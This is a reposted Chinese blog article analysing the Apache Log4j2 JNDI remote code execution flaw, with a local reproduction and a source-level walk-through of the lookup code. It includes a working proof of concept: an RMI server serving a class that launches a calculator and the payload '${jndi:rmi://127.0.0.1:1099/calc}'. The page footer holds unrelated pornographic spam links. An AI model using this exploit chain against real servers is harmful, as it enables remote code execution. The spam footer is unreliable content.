<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞源碼級分析,終于會了

          共 2155字,需瀏覽 5分鐘

           ·

          2021-12-19 11:42

          點(diǎn)擊上方藍(lán)色字體,選擇“標(biāo)星公眾號”

          優(yōu)質(zhì)文章,第一時(shí)間送達(dá)


          -? ?漏洞的前因后果? ? -

          2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。詳情見?【漏洞預(yù)警】Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞

          漏洞描述

          Apache Log4j2 是一款優(yōu)秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。由于 Apache Log4j2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影響。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。

          漏洞評級

          Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞?嚴(yán)重

          影響版本

          Apache Log4j 2.x <= 2.14.1

          安全建議

          1、升級 Apache Log4j2 所有相關(guān)應(yīng)用到最新的 log4j-2.15.0-rc1 版本,地址?https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

          2、升級已知受影響的應(yīng)用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。



          -? ?本地復(fù)現(xiàn)漏洞 ? -

          首先需要使用低版本的 log4j 包,我們在本地新建一個(gè) Spring Boot 項(xiàng)目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以復(fù)現(xiàn)漏洞。

          參考 Apache Log4j Lookups,我們先使用代碼在 log 里獲取一下 java:vm。

          本地打印 JVM 基礎(chǔ)信息

          @SpringBootTest
          class?Log4jApplicationTests?{

          ?private?static?final?Logger?logger?=?LogManager.getLogger(SpringBootTest.class);

          ?@Test
          ?void?log4j()?{
          ??logger.info("content?{}",?"${java:vm}");
          ?}
          }

          可以發(fā)現(xiàn)輸出是:

          content?Java?HotSpot(TM)?64-Bit?Server?VM?(build?25.152-b16,?mixed?mode)

          使用 JavaLookup 獲取到了 JVM 的相關(guān)信息(需要使用java前綴)。

          本地獲取服務(wù)器的打印信息

          本地啟動(dòng)一個(gè) RMI 服務(wù):

          public?class?Server?{

          ????public?static?void?main(String[]?args)?throws?Exception?{
          ????????Registry?registry?=?LocateRegistry.createRegistry(1099);
          ????????String?url?=?"http://127.0.0.1:8081/";
          ????????//?Reference?需要傳入三個(gè)參數(shù)?(className,factory,factoryLocation)
          ????????//?第一個(gè)參數(shù)隨意填寫即可,第二個(gè)參數(shù)填寫我們?http?服務(wù)下的類名,第三個(gè)參數(shù)填寫我們的遠(yuǎn)程地址
          ????????Reference?reference?=?new?Reference("ExecCalc",?"ExecCalc",?url);
          ????????ReferenceWrapper?referenceWrapper?=?new?ReferenceWrapper(reference);
          ????????registry.bind("calc",?referenceWrapper);
          ????}
          }

          ExecCalc 類直接放在根目錄,不能申請包名,即不能存在 package xxx。聲明后編譯的 class 文件函數(shù)名稱會加上包名從而不匹配。參考 Java 安全-RMI-JNDI 注入。

          public?class?ExecCalc?{
          ????static?{
          ????????try?{
          ????????????System.out.println("open?a?Calculator!");
          ????????????Runtime.getRuntime().exec("open?-a?Calculator");
          ????????}?catch?(Exception?e)?{
          ????????????e.printStackTrace();
          ????????}
          ????}
          }

          之后啟動(dòng)上面的 Server 類,再執(zhí)行下面的代碼:

          @Test
          void?log4jEvil()?{
          ????System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase",?"true");
          ????logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
          }

          發(fā)現(xiàn)測試用例的控制臺輸出了?open a Calculator!?并啟動(dòng)了計(jì)算器。



          -? ?log4j 漏洞源碼分析 ? -

          只看?logger.info("${jndi:rmi://127.0.0.1:1099/calc}");?這段代碼,首先會調(diào)用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:

          private?void?processLogEvent(final?LogEvent?event,?final?LoggerConfigPredicate?predicate)?{
          ????event.setIncludeLocation(isIncludeLocation());
          ????if?(predicate.allow(this))?{
          ????????callAppenders(event);
          ????}
          ????logParent(event,?predicate);
          }

          其中 LogEvent 結(jié)構(gòu)如下:

          encode 對應(yīng)的事件,將 ${param} 里的 param 解析出來,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend

          private?void?tryAppend(final?LogEvent?event)?{
          ????if?(Constants.ENABLE_DIRECT_ENCODERS)?{
          ????????directEncodeEvent(event);
          ????}?else?{
          ????????writeByteArrayToManager(event);
          ????}
          }

          protected?void?directEncodeEvent(final?LogEvent?event)?{
          ????getLayout().encode(event,?manager);
          ????if?(this.immediateFlush?||?event.isEndOfBatch())?{
          ????????manager.flush();
          ????}
          }

          調(diào)用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,將對應(yīng)參數(shù)解析出結(jié)果。

          protected?String?resolveVariable(final?LogEvent?event,?final?String?variableName,?final?StringBuilder?buf,
          ????????????????????????????????????final?int?startPos,?final?int?endPos)?{
          ????final?StrLookup?resolver?=?getVariableResolver();
          ????if?(resolver?==?null)?{
          ????????return?null;
          ????}
          ????return?resolver.lookup(event,?variableName);
          }

          和官方文檔上是能夠?qū)?yīng)上的,即 log 里只解析前綴為?datejndi?等的命令,本文的測試用例使用的是?${jndi:rmi://127.0.0.1:1099/calc}

          解析出參數(shù)的結(jié)果, org.apache.logging.log4j.core.lookup.Interpolator#lookup

          @Override
          public?String?lookup(final?LogEvent?event,?String?var)?{
          ????if?(var?==?null)?{
          ????????return?null;
          ????}

          ????final?int?prefixPos?=?var.indexOf(PREFIX_SEPARATOR);
          ????if?(prefixPos?>=?0)?{
          ????????final?String?prefix?=?var.substring(0,?prefixPos).toLowerCase(Locale.US);
          ????????final?String?name?=?var.substring(prefixPos?+?1);
          ????????final?StrLookup?lookup?=?strLookupMap.get(prefix);
          ????????if?(lookup?instanceof?ConfigurationAware)?{
          ????????????((ConfigurationAware)?lookup).setConfiguration(configuration);
          ????????}
          ????????String?value?=?null;
          ????????if?(lookup?!=?null)?{
          ????????????value?=?event?==?null???lookup.lookup(name)?:?lookup.lookup(event,?name);
          ????????}

          ????????if?(value?!=?null)?{
          ????????????return?value;
          ????????}
          ????????var?=?var.substring(prefixPos?+?1);
          ????}
          ????if?(defaultLookup?!=?null)?{
          ????????return?event?==?null???defaultLookup.lookup(var)?:?defaultLookup.lookup(event,?var);
          ????}
          ????return?null;
          }

          其核心是這段代碼:

          value?=?event?==?null???lookup.lookup(name)?:?lookup.lookup(event,?name);

          org.apache.logging.log4j.core.lookup.JndiLookup#lookup

          接下來就是調(diào)用 javax.naming 的 JDK 相關(guān)代碼,遠(yuǎn)程加載了 ExecCalc 類,在本地輸出了?open a Calculator!?并啟動(dòng)了計(jì)算器。



          -? ?擴(kuò)展:JNDI? -

          JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口,它為開發(fā)人員查找和訪問各種資源提供了統(tǒng)一的通用接口,可以用來定位用戶、網(wǎng)絡(luò)、機(jī)器、對象和服務(wù)等各種資源。比如可以利用 JNDI 在局域網(wǎng)上定位一臺打印機(jī),也可以用 JNDI 來定位數(shù)據(jù)庫服務(wù)或一個(gè)遠(yuǎn)程 Java 對象。JNDI 底層支持 RMI 遠(yuǎn)程對象,RMI 注冊的服務(wù)可以通過 JNDI 接口來訪問和調(diào)用。

          JNDI 是應(yīng)用程序設(shè)計(jì)的 Api,JNDI 可以根據(jù)名字動(dòng)態(tài)加載數(shù)據(jù),支持的服務(wù)主要有以下幾種:DNS、LDAP、 CORBA 對象服務(wù)、RMI 等等。

          其應(yīng)用場景比如:動(dòng)態(tài)加載數(shù)據(jù)庫配置文件,從而保持?jǐn)?shù)據(jù)庫代碼不變動(dòng)等。



          -? ?危害是什么?? ? -

          1. client 可以獲取服務(wù)器的某些信息,通過 JNDI 遠(yuǎn)程加載類

          2. client 向服務(wù)器注入惡意代碼



          ? 作者?|??Yano_nankai

          來源 |??cnblogs.com/510602159-Yano/p/15689497.html


          加鋒哥微信:?java1239??
          圍觀鋒哥朋友圈,每天推送Java干貨!

          瀏覽 63
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  中国婬乱a—级毛片多女 | 欧美日韩A片黄色电影视频 | 国产三级电影网站 | 国产操逼视频福利 | 91福利社国产 |